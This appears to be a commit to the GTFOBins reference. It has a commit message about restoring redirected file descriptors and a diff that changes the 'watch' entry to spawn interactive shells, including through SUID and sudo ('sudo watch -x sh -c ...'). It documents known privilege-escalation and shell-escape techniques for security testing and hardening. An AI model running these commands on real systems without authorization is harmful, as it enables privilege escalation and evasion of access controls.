Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

_gtfobins/watch.md

@@ -1,12 +1,12 @@
 ---
 functions:
-  execute-non-interactive:
-    - code: watch /usr/bin/id
+  execute-interactive:
+    - code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
   suid-enabled:
     - description: This keeps the SUID privileges only if the `-x` option is present.
-      code: ./watch -x /usr/bin/id
+      code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
   sudo-enabled:
-    - code: sudo watch /usr/bin/id
+    - code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
   suid-limited:
-    - code: ./watch /usr/bin/id
+    - code: ./watch 'reset; exec sh 1>&0 2>&0'
 ---